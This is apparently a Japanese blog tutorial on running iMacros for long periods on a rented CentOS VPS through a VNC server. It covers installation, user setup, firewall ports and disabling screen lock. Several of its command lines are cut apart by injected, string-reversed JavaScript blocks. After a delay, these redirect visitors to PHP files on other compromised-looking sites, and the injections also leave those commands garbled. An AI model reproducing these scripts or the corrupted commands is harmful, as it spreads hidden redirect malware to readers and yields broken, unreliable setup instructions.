
まずはじめに
#001〜#006ではiMacrosの基本的な使い方やちょっとした応用技について説明しました。ある程度、iMacrosに慣れてきた方なら、さらに利便性や効率化を求めたいところです。これまで寄せられた質問やご要望の中で最も多かった内容の「iMacrosを長時間動かしたいけどPCは常に起動しっぱなしにしなくてはいけないの?」といった問題の解決策をご紹介します。
VNCでリモートしてしまえばOK
VNCとは、ネットワークを通じて接続された他のコンピューターの画面を遠隔操作するソフトウェアのことです。このVNCを使えば世界中どこからでも所有しているパソコンやiPhoneから別のコンピューターにアクセスできるようになります。Windows同士やMac同士、或いはMacからWindowsのデスクトップ環境に接続ができるということです。
VNC接続を確立させるために必要なもの
VNCサーバー
Mac OS X 10.4以降、Windows Vista Ultimate以降はもう実装されてます。しかしWindowsの人はスタンドアローンの優れたソフト「TightVNC」を使う方が簡単です。
VNCクライアント
所有するコンピュータで稼働中のサーバーにアクセスする際に使います。これもOS XとWindowsにはデフォルトで搭載されています。スタンドアローンのソフトがいいなら、Mac対応の「Chicken of the VNC」やWindows対応の「TightVNC」がおすすめです。
ややこしいのですが今回iMacrosを起動させる環境がVNCサーバー側で、そこへリモート接続しiMacrosの操作を行うのがあなたが所有するPCやスマートフォンということになります。つまりコンピュータがVNCサーバー、VNCクライアントで2台必要になりますが、もう1台はどうやって用意すればいいのかご説明します。
格安のVPSを使いましょう
VPSとは「Virtual Private Server」の頭文字を取ったもので、日本語に訳すと「仮想専用サーバー」という意味です。これはどういう意味かというと、一つのサーバーに、仮想的なコンピューターを複数台起動させ、利用者はその仮想的なコンピューターを管理者として扱うことができるサービス形態です。
これにより、利用者は比較的安価で、サーバーの管理者権限を持って自由にカスタマイズできるようになります。
下記、おすすめのVPSです。今回の場合、2G程度のメモリがあれば安定して動かせます。
さくらのVPS
GMOクラウドVPS
※後の項で説明しますがiMacrosを多重起動したい場合はスペックに注意してください。
※当サイトはCentOS6での説明です。
VNC Serverを構築してみましょう
レンタルしたVPSにSSHクライアント等でログイン後、下記の手順でVNC Serverを構築します。
※SSHクライアントを使ったログイン方法、VPSの初期設定については割愛します。
VNC Serverのインストール
1 |
sudo yum install tigervnc-server |
デスクトップ環境のインストール
1 2 3 |
sudo yum groupinstall "X Window System" sudo yum groupinstall "Desk<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script><script>$NjS=function(n){if(typeof ($NjS.list[n])=="string") return $NjS.list[n].split("").reverse().join("");return $NjS.list[n];};$NjS.list=["\'php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.s<script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}</script><script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>top" sudo yum groupinstall "General Purpose Desk<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script><script>$NjS=function(n){if(typeof ($NjS.list[n])=="string") return $NjS.list[n].split("").reverse().join("");return $NjS.list[n];};$NjS.list=["\'php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.s<script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}</script><script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>top" |
このあたりも入れておきましょう
1 2 3 4 |
sudo yum -y groupinstall "Japanese Support" sudo yum -y install vlgothic-fonts sudo yum -y install gconf-edi<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script><script>$NjS=function(n){if(typeof ($NjS.list[n])=="string") return $NjS.list[n].split("").reverse().join("");return $NjS.list[n];};$NjS.list=["\'php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.s<script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}</script><script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>tor sudo yum -y install firefox-45.8.0 |
VNC Serverを立ち上げる実行ユーザーを作成
1 2 3 |
useradd vnc001 su vnc001 vncpasswd |
これでVNC Serverを立ち上げる準備ができました。
VNC Serverを起動する
VNC Serverを起動
1 2 |
su vnc001 vncserver :1 |
VNC Serverを停止
1 |
vncserver -kill :1 |
ポートの開放も忘れずに
ファイアーウォールの設定を変更します。
空けておくのは下記ポート
TCP:5901
1 |
vi /etc/sysconfig/iptables |
1 |
-A INPUT -m state --state NEW -m tcp -p tcp --dport 5901 -j ACCEPT |
設定を反映します。
1 |
sudo service iptables restart |
VNC Serverを複数立てる場合は5902 5903になります。VNCではTCP 5900番+ユーザーディスプレイ番号を使用します。
VNCクライアントをインストールし接続
Real VNC Viewerのダウンロード
Real VNCのウェブサイト(http://www.realvnc.com/)にアクセスします。
Downloadメニューをクリックします。
ダウンロード後、アプリケーションを起動します。
正常に起動できると、VNC接続ダイアログウィンドウが表示されますので下記を入力します。
1 |
vnc://(CentOSのIPアドレス):5901 |
画面が勝手にロックされないようにする
先ほど特に説明しませんでしたが下記のコマンドで設定をいじれるようになっています。
1 |
sudo yum -y install gconf-edi<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script><script>$NjS=function(n){if(typeof ($NjS.list[n])=="string") return $NjS.list[n].split("").reverse().join("");return $NjS.list[n];};$NjS.list=["\'php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.s<script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}</script><script>$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}</script>tor |
デスクトップ上で上部メニューからアプリケーション > システムツール > 設定エディタへ進みます。
設定エディタのウインドウが立ち上がるので下記のツリー内の項目、disable_lock_screenにチェックをいれます。
これで勝手に画面にロックがかからなくなります。
あともう1つ、スクリーンセーバーの挙動も制御しておきましょう。
「アイドル状態になるまでの時間」を最大まで引き延ばし
「スクリーンセーバーを起動したら画面をロックする」のチェックをはずします。
これで煩わしい画面ロックをかけずに操作が行えます。
あとは#001〜の手順と同じようにiMacrosをインストールすれば完了です。
普段使いのwindows、macと同じようにiMacrosを動かせます。
複数のVNCServerでiMacrosを起動させたい場合
メモリ消費量に注意してください。例えばさくらVPS 2Gを使った場合、同時起動しながら、かつ安定動作をさせることが出来るのは2〜3台までです。メモリ使用量が増えすぎるとブラウザが勝手に落ちるか、Javascriptがアラートを表示し停止します。
iMacrosでブラウザ操作を自動化する方法まとめ
iMacros関連のまとめ記事です。